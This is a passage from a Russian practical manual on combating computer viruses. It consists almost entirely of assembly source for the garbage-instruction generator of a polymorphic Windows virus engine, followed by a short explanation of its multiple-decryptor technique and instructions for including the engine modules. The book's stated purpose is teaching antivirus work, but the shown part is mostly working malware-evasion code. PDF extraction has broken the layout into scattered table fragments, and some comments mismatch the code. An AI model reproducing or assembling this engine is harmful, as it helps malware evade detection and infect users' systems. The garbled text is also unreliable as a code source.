Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfWindows вирусы |
|
271 |
|
|
|
|
|
|
|
; случайно выбранная |
|
|
|
; инструкция CMP: |
|
|
|
; ................... |
|
|
|
; cmp |
eax,esp |
|
|
; cmp |
al,0c0 |
|
|
; ................... |
|
sub |
ecx,2 |
; Уменьшаем счетчик на 2 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
instr_xor: |
|
|
|
cmp |
cl,2 |
; Если длина генерируемой |
|
jl |
one_byte |
; инструкции меньше 2, то |
|
|
|
; мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
|
mov |
al,33h |
; Помещаем в al - 33h |
|
stosb |
|
; И затем кладем это в буфер |
|
call |
free_reg |
; Вызываем подпрограмму |
|
|
|
; получения свободных |
|
|
|
; регистров |
|
shl |
eax,3 |
; Умножаем eax на 8 |
|
add |
al,0c0h |
; Добавляем к al - 0c0h |
|
mov |
dl,al |
; помещаем в cl - al |
|
call |
rnd_reg |
; Получаем случайный регистр |
|
add |
al,dl |
; Добавляем к al - cl |
|
stosb |
|
; И помещаем al в буфер |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкция XOR: |
|
|
|
; ................... |
|
|
|
; xor |
eax,esp |
|
|
; xor |
edi,ecx |
|
|
; ................... |
|
sub |
ecx,2 |
; Уменьшаем счетчик на 2 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
instr_test: |
|
|
|
cmp |
cl,2 |
; Если длина генерируемой |
|
jl |
one_byte |
; инструкции меньше 2, то |
|
|
|
; мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
|
mov |
dl,084h |
; Помещаем в dl - 084h |
|
mov |
eax,2 |
; Получаем случайное число |
|
call |
brandom32 |
; в диапазоне 0..1 |
|
add |
al,dl |
; Добавляем к al - dl |
|
stosb |
|
; И затем кладем это в буфер |
|
call |
rnd_reg |
; Вызываем подпрограмму |
|
|
|
; получения случайного |
|
|
|
; регистра |
|
add |
al,0c0h |
; Добавляем к al - 0c0h |
|
mov |
dl,al |
; помещаем в cl - al |
|
call |
rnd_reg |
; Получаем случайный регистр |
|
add |
al,dl |
; Добавляем к al - cl |
|
stosb |
|
; И помещаем al в буфер |
|
272 |
|
|
Windows вирусы |
|
|
|
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкция XOR: |
|
|
|
; ................... |
|
|
|
; test |
eax,esp |
|
|
; test |
al,cl |
|
|
; ................... |
|
sub |
ecx,2 |
; Уменьшаем счетчик на 2 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
instr_movr: |
|
|
|
cmp |
cl,2 |
; Если длина генерируемой |
|
jl |
one_byte |
; инструкции меньше 2, то |
|
|
|
; мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
|
mov |
al,8bh |
; Помещаем в al - 8bh |
|
stosb |
|
; Потом помещаем al в буфер |
|
call |
free_reg |
; Вызываем подпрограмму |
|
|
|
; получения свободных |
|
|
|
; регистров |
|
shl |
eax,3 |
; Умножаем eax на 8 |
|
add |
al,0c0h |
; Добавляем к al - 0c0h |
|
mov |
dl,al |
; помещаем в cl - al |
|
call |
rnd_reg |
; Получаем случайный регистр |
|
add |
al,dl |
; Добавляем к al - cl |
|
stosb |
|
; И помещаем al в буфер |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкция MOV: |
|
|
|
; ................... |
|
|
|
; mov |
eax,esp |
|
|
; mov |
edi,ecx |
|
|
; ................... |
|
sub |
ecx,2 |
; Уменьшаем счетчик на 2 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
instr_push: |
|
|
|
cmp |
cl,2 |
; Если длина генерируемой |
|
jl |
one_byte |
; инструкции меньше 2, то |
|
|
|
; мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
|
call |
rnd_reg |
; Получаем случайный регистр |
|
add |
al,50h |
; Добавляем к al - 50h |
|
stosb |
|
; Кладем al в буфер |
|
call |
free_reg |
; Вызываем подпрограмму |
|
|
|
; получения свободных |
|
|
|
; регистров |
|
add |
al,58h |
; Добавляем к al - 8 |
|
stosb |
|
; И опять кладем al в буфер |
|
|
|
; В итоге у нас получается |
|
; случайно выбранная
; инструкции PUSH/POP: ; ...................
Windows вирусы |
|
273 |
|
|
|
|
|
|
|
; push |
eax |
|
|
; pop |
ecx |
|
|
; ................... |
|
sub |
ecx,2 |
; Уменьшаем счетчик на 2 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
instr_movc: |
|
|
|
cmp |
cl,5 |
; Если длина генерируемой |
|
jl |
one_byte |
; инструкции меньше 5, то |
|
|
|
; мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
|
call |
free_reg |
; Вызываем подпрограмму |
|
|
|
; получения свободных |
|
|
|
; регистров |
|
add |
al,0b8h |
; Добавляем к al - 0b8h |
|
stosb |
|
; И кладем al в буфер |
|
call |
random32 |
; Генерируем случайное |
|
stosd |
|
; число |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкции MOV: |
|
|
|
; ................... |
|
|
|
; mov |
eax,12345678 |
|
|
; mov |
ebp,00056800 |
|
|
; ................... |
|
sub |
ecx,5 |
; Уменьшаем счетчик на 5 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
instr_jmp: |
|
|
|
cmp |
cl,5 |
; Если длина генерируемой |
|
jl |
one_byte |
; инструкции меньше 5, то |
|
|
|
; мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
|
mov |
al,0e9h |
; Кладем в al - 0b8h |
|
stosb |
|
; И кладем al в буфер |
|
xor |
eax,eax |
; Обнуляем eax |
|
stosd |
|
; И кладем его в буфер |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкции JMP: |
|
|
|
; ................... |
|
|
|
; jmp |
$+5 |
|
|
; ................... |
|
sub |
ecx,5 |
; Уменьшаем счетчик на 5 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
instr_l32: |
|
|
|
cmp |
cl,6 |
; Если длина генерируемой |
|
jl |
one_byte |
; инструкции меньше 6, то |
|
|
|
; мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
|
mov |
al,81h |
; Кладем в al - 81h |
|
stosb |
|
; И помещаем al в буфер |
|
274 |
|
|
Windows вирусы |
|
|
|
|
mov |
eax,4 |
; Получаем случайное число |
|
call |
brandom32 |
; в диапазоне от 0..9 |
|
add |
al,0ch |
; Добавляем к нему - 0ch |
|
mov |
dl,10h |
; Кладем в dl - 10h |
|
mul |
dl |
; Умножаем на dl |
|
mov |
dl,al |
; Кладем в dl - al |
|
mov |
eax,2 |
; Получаем случайное число |
|
call |
brandom32 |
; в диапазоне от 0..1 |
|
shl |
al,3 |
; Умножаем al на 8 |
|
add |
dl,al |
; Добавляем к dl - al |
|
call |
free_reg |
; Вызываем подпрограмму |
|
|
|
; получения свободных |
|
|
|
; регистров |
|
add |
al,dl |
; Добавляем к al - dl |
|
stosb |
|
; И кладем al в буфер |
|
call |
random32 |
; Генерируем случайное |
|
stosd |
|
; число и кладем его в буфер |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкции ADD: |
|
|
|
; ................... |
|
|
|
; add |
eax,12345678 |
|
|
; or |
ebp,00056800 |
|
|
; ................... |
|
sub |
ecx,6 |
; Уменьшаем счетчик на 5 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
instr_lea: |
|
|
|
cmp |
cl,6 |
; Если длина генерируемой |
|
jl |
one_byte |
; инструкции меньше 6, то |
|
|
|
; мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
|
mov |
al,8dh |
; Кладем в al - 8dh |
|
stosb |
|
; И помещаем al в буфер |
|
mov |
dl,08h |
; Кладем в dl - 08h |
|
call |
free_reg |
; Вызываем подпрограмму |
|
|
|
; получения свободных |
|
|
|
; регистров |
|
mul |
dl |
; Добавляем к al - dl |
|
add |
al,5 |
; Добавляем к al - 5 |
|
stosb |
|
; И кладем al в буфер |
|
call |
random32 |
; Генерируем случайное |
|
stosd |
|
; число |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкции LEA: |
|
|
|
; ................... |
|
|
|
; lea |
eax,[12345678] |
|
|
; lea |
ebp,[00056800] |
|
|
; ................... |
|
sub |
ecx,6 |
; Уменьшаем счетчик на 6 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
Windows вирусы |
|
275 |
|
|
|
|
|
instr_cl: |
|
|
|
cmp |
cl,6 |
; Если длина генерируемой |
|
jl |
one_byte |
; инструкции меньше 6, то |
|
|
|
; мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
|
mov |
al,0e8h |
; Кладем в al - e8h |
|
stosb |
|
; И помещаем al в буфер |
|
xor |
eax,eax |
; Обнуляем eax и помещаем |
|
stosd |
|
; его в буфер |
|
call |
free_reg |
; Вызываем подпрограмму |
|
|
|
; получения свободных |
|
|
|
; регистров |
|
add |
al,58h |
; Добавляем к al - 8 |
|
stosb |
|
; И опять кладем al в буфер |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкции CALL: |
|
|
|
; ................... |
|
|
|
; call |
$+5 |
|
|
; pop |
eax |
|
|
; ................... |
|
sub |
ecx,6 |
; Уменьшаем счетчик на 6 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
||
instr_shl: |
|
|
|
cmp |
cl,3 |
; Если длина генерируемой |
|
jl |
one_byte |
; инструкции меньше 3, то |
|
|
|
; мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
|
mov |
al,0c1h |
; Кладем в al - 0c1h |
|
stosb |
|
; И помещаем al в буфер |
|
mov |
eax,6 |
; Генерируем случайное число |
|
call |
brandom32 |
; в диапазоне 0..5 |
|
shl |
eax,3 |
; Умножаем его на 8 |
|
add |
al,0c0h |
; Добавляем к нему - 0c0h |
|
mov |
dl,al |
; Помещаем в dl - al |
|
call |
free_reg |
; Вызываем подпрограмму |
|
|
|
; получения свободных |
|
|
|
; регистров |
|
add |
al,dl |
; Добавляем к al - dl |
|
stosb |
|
; И помещаем al в буфер |
|
mov |
eax,256 |
; Генерируем случайное число |
|
call |
brandom32 |
; в диапазоне 0..255 |
|
stosb |
|
; И кладем его в буфер |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкции SHL,ROL, ...: |
|
|
|
; ................... |
|
|
|
; ror |
eax,78 |
|
|
; shl |
ebp,04 |
|
|
; ................... |
|
sub |
ecx,3 |
; Уменьшаем счетчик на 2 |
|
ret |
|
; Возврат из подпрограммы |
|
276 |
|
|
|
Windows вирусы |
|
|
|||
;---------------------------------------------- |
|
|||
instr_a32: |
|
|
|
|
cmp |
cl,3 |
; |
Если длина генерируемой |
|
jl |
one_byte |
; |
инструкции меньше 3, то |
|
|
|
; |
мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
||
mov |
al,0fh |
; |
Кладем в al - 0fh |
|
stosb |
|
; |
И помещаем al в буфер |
|
lea |
esi,[ebp+three_byte_opcode]; |
Кладем в esi указатель на |
||
|
|
; таблицу частей 3-х байтных |
||
|
|
; инструкций |
|
|
mov |
eax,14 |
; |
Генерируем случайное число |
|
call |
brandom32 |
; |
в диапазоне 0..13 |
|
add |
esi,eax |
; |
Прибавляем к esi - eax |
|
movsb |
|
; |
Перемещаем байт в буфер |
|
mov |
dl,0c0h |
; |
Кладем в dl - 0с0h |
|
call |
free_reg |
; |
Вызываем подпрограмму |
|
|
|
; |
получения свободных |
|
|
|
; регистров |
|
|
shl |
eax,3 |
; Умножаем eax на 8 |
||
add |
dl,al |
; |
Добавляем к dl - al |
|
call |
free_reg |
; |
Вызываем подпрограмму |
|
|
|
; |
получения свободных |
|
|
|
; регистров |
|
|
add |
al,dl |
; |
Добавляем к al - dl |
|
stosb |
|
; |
И помещаем al в буфер |
|
|
|
; В итоге у нас получается |
||
|
|
; случайно выбранная |
||
|
|
; инструкции XADD,IMUL, ...: |
||
|
|
; ................... |
||
|
|
; xadd |
eax,eax |
|
|
|
; imul |
ebp,ecx |
|
|
|
; ................... |
||
sub |
ecx,3 |
; |
Уменьшаем счетчик на 3 |
|
ret |
|
; |
Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|||
instr_xchg: |
|
|
|
|
cmp |
cl,2 |
; |
Если длина генерируемой |
|
jl |
one_byte |
; |
инструкции меньше 2, то |
|
|
|
; |
мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
||
mov |
al,087h |
; Кладем в al - 087h |
||
stosb |
|
; |
И помещаем al в буфер |
|
mov |
dl,0c0h |
; |
Кладем в dl - 0с0h |
|
call |
free_reg |
; |
Вызываем подпрограмму |
|
|
|
; |
получения свободных |
|
|
|
; регистров |
|
|
shl |
eax,3 |
; Умножаем eax на 8 |
||
add |
dl,al |
; Добавляем к dl - al |
||
call |
free_reg |
; |
Вызываем подпрограмму |
|
|
|
; |
получения свободных |
|
|
|
; регистров |
|
|
add |
al,dl |
; Добавляем к al - dl |
||
Windows вирусы |
|
277 |
|
|
|
|
|
stosb |
|
; И помещаем al в буфер |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкции XCHG: |
|
|
|
; ................... |
|
|
|
; xchg |
eax,eax |
|
|
; xchg |
ebp,ecx |
|
|
; ................... |
|
sub |
ecx,2 |
; Уменьшаем счетчик на 2 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
instr_a16: |
|
|
|
cmp |
cl,4 |
; Если длина генерируемой |
|
jl |
one_byte |
; инструкции меньше 4, то |
|
|
|
; мы переходим на генерацию |
|
|
|
; однобайтовых инструкций |
|
mov |
al,066h |
; Кладем в al - 066h |
|
stosb |
|
; И помещаем al в буфер |
|
mov |
dl,0b8h |
; Помещаем в dl - 0b8h |
|
call |
free_reg |
; Вызываем подпрограмму |
|
|
|
; получения свободных |
|
|
|
; регистров |
|
add |
al,dl |
; Добавляем к al - dl |
|
stosb |
|
; И помещаем al в буфер |
|
mov |
eax,0ffffh |
; Генерируем случайное число |
|
call |
brandom32 |
; в диапазоне 0..65534 |
|
stosw |
|
; И помещаем его в буфер |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкции MOV: |
|
|
|
; ................... |
|
|
|
; mov |
ax,3452 |
|
|
; mov |
bp,1234 |
|
|
; ................... |
|
sub |
ecx,4 |
; Уменьшаем счетчик на 4 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
one_byte: |
|
|
|
mov |
eax,3 |
; Генерируем случайное число |
|
call |
brandom32 |
; в диапазоне 0..2 |
|
cmp |
al,1 |
; Если число = 1, то |
|
je |
instr_inc |
; генерируем инструкцию INC |
|
cmp |
al,2 |
; Если число = 2, то |
|
je |
instr_dec |
; генерируем инструкцию DEC |
|
lea |
esi,[ebp+one_byte_opcode] |
; Кладем в esi указатель на |
|
|
|
; таблицу однобайтных |
|
|
|
; инструкций |
|
mov |
eax,8 |
; Генерируем случайное число |
|
call |
brandom32 |
; в диапазоне 0..7 |
|
add |
esi,eax |
; Прибавляем к esi - eax |
|
278 |
|
|
Windows вирусы |
|
|
|
|
test |
ecx,ecx |
; Если длина инструкции = 0, |
|
jz |
landing |
; тогда переходим на конец |
|
movsb |
|
; Помещаем инструкцию |
|
|
|
; из таблицы в буфер |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкция из таблицы: |
|
|
|
; ................... |
|
|
|
; cld |
|
|
|
; nop |
|
|
|
; ................... |
|
dec |
ecx |
; Уменьшаем ecx на единицу |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
instr_inc: |
|
|
|
call |
free_reg |
; Вызываем подпрограмму |
|
|
|
; получения свободных |
|
|
|
; регистров |
|
add |
al,40h |
; Добавляем к al - 40h |
|
test |
ecx,ecx |
; Если длина инструкции = 0, |
|
jz |
landing |
; тогда переходим на конец |
|
stosb |
|
; Помещаем al в буфер |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкции INC: |
|
|
|
; ................... |
|
|
|
; inc |
eax |
|
|
; inc |
ebp |
|
|
; ................... |
|
dec |
ecx |
; Уменьшаем ecx на единицу |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
instr_dec: |
|
|
|
call |
free_reg |
; Вызываем подпрограмму |
|
|
|
; получения свободных |
|
|
|
; регистров |
|
add |
al,48h |
; Добавляем к al - 40h |
|
test |
ecx,ecx |
; Если длина инструкции = 0, |
|
jz |
landing |
; тогда переходим на конец |
|
stosb |
|
; Помещаем al в буфер |
|
|
|
; В итоге у нас получается |
|
|
|
; случайно выбранная |
|
|
|
; инструкции DEC: |
|
|
|
; ................... |
|
|
|
; dec |
eax |
|
|
; dec |
ebp |
|
|
; ................... |
|
dec |
ecx |
; Уменьшаем ecx на единицу |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
|
|
landing: |
|
|
|
add |
esp,4 |
; Выталкиваем их стэка уже |
|
pop |
ebx |
; не нужный адрес возврата |
|
Windows вирусы |
|
279 |
|
|
|
|
|
pop |
ebp |
; |
|
pop |
esi |
; Восстанавливаем регистры |
|
pop |
ecx |
; из стэка. |
|
pop |
edx |
; |
|
ret |
|
; Возврат из подпрограммы |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
; |
FREE REGISTER SUBROUTINE |
; |
|
;———————————————————————————————————————---------------; |
|||
; |
[ IN ] |
|
; |
; |
|
|
; |
; |
NO INPUT IN SUBROTINE |
|
; |
;———————————————————————————————————————---------------; |
|||
; |
[ OUT ] |
|
; |
; |
|
|
; |
; |
FREE REGISTER -> EAX |
|
; |
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
free_reg: |
|
|
|
|
|
; Подпрограмма получения |
|
|
|
; свободного регистра |
|
push |
edx ecx |
; Сохраняем в стэке edx, ecx |
|
another: |
|
; |
|
call |
rnd_reg |
; Получаем случайный регистр |
|
cmp |
al,bh |
; Свободный регистр не может |
|
je |
another |
; быть таким как reg1 |
|
cmp |
al,bl |
; Свободный регистр не может |
|
je |
another |
; быть таким как reg1 |
|
cmp |
al,00000100b |
; Используем все регистры |
|
je |
another |
; кроме esp |
|
pop |
ecx edx |
; Восстанавливаем ecx, edx |
|
ret |
|
; Возврат из подпрограммы |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
; |
RANDOM REGISTER SUBROUTINE |
; |
|
;———————————————————————————————————————---------------; |
|||
; |
[ IN ] |
|
; |
; |
|
|
; |
; |
NO INPUT IN SUBROTINE |
|
; |
;———————————————————————————————————————---------------; |
|||
; |
[ OUT ] |
|
; |
; |
|
|
; |
; |
RANDOM REGISTER -> EAX |
; |
|
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; |
|||
rnd_reg: |
|
|
|
|
|
; Подпрограмма получения |
|
|
|
; случайного регистра |
|
mov |
eax,8 |
; Получаем случайное число |
|
call |
brandom32 |
; в диапазоне 0..7 |
|
ret |
|
; Возврат из подпрограммы |
|
;---------------------------------------------- |
|
||
mega_table: |
|
|
|
dw |
instr_x87 -delta_offset |
; |
|
dw |
instr_movr -delta_offset |
; |
|
280 |
|
|
|
|
Windows вирусы |
|
|
|
|
|
|
|
dw |
instr_push -delta_offset |
; |
|
|
|
dw |
instr_shl -delta_offset |
; |
|
|
|
dw |
instr_cmp -delta_offset |
; |
|
|
|
dw |
instr_xor |
-delta_offset |
; |
|
|
dw |
one_byte -delta_offset |
; |
|
|
|
dw |
instr_movc -delta_offset |
; |
|
|
|
dw |
instr_je -delta_offset |
; Таблица относительных |
||
|
dw |
instr_je2 -delta_offset |
; |
смещений от метки |
|
|
dw |
instr_l32 -delta_offset |
; delta_offset |
||
|
dw |
instr_jmp -delta_offset |
; |
|
|
|
dw |
instr_lea -delta_offset |
; |
|
|
|
dw |
instr_test -delta_offset |
; |
|
|
|
dw |
instr_not -delta_offset |
; |
|
|
|
dw |
instr_xchg -delta_offset |
; |
|
|
|
dw |
instr_a32 -delta_offset |
; |
|
|
|
dw |
instr_a16 |
-delta_offset |
; |
|
|
dw |
instr_cl |
-delta_offset |
; |
|
;---------------------------------------------- |
|
|
|
|
|
one_byte_opcode: |
|
|
|
|
|
|
std |
|
|
; |
|
|
cld |
|
|
; |
Таблица однобайтовых |
|
nop |
|
|
; |
инструкций |
|
clc |
|
|
; |
|
|
stc |
|
|
; |
|
|
cmc |
|
|
; |
|
|
db |
0f2h |
|
; rep |
|
|
db |
0f3h |
|
; repnz |
|
;---------------------------------------------- |
|
|
|
|
|
three_byte_opcode: |
|
|
|
||
db |
0a3h,0abh,0adh,0b3h,0bbh,0bdh,0bfh |
; Таблица трехбайтовых |
|||
db |
0b6h,0b7h,0beh,0afh,0bch,0c1h,0bdh |
; инструкций |
|||
;---------------------------------------------- |
|
|
|
|
|
В данном полиморфном генераторе использовалась техника множественных декрипторов. Она подразумевает многократную шифровку тела вируса и всех предыдущих декрипторов. Количество декрипторов выбирается случайным образом, но в рамках от 1...39. Перед и после каждой значащей инструкции декриптора идет серия «мусорных» инструкций случайной длины. Регистры в значащих инструкциях непостоянны.
Для его использования нужно будет подключить модули следующим обра-
çîì:
;---------------------------------------------- |
|
|
include |
r_gen32.asm |
; Подключение всех |
include |
t_gen32.asm |
; движков |
include |
pgs32.asm |
; |
;---------------------------------------------- |
|
|
После того, как был подробно рассмотрен алгоритм работы этого полиморфного вируса, я думаю, антивирусную программу вы напишите сами. Стоит заметить, что это не очень простая задача.
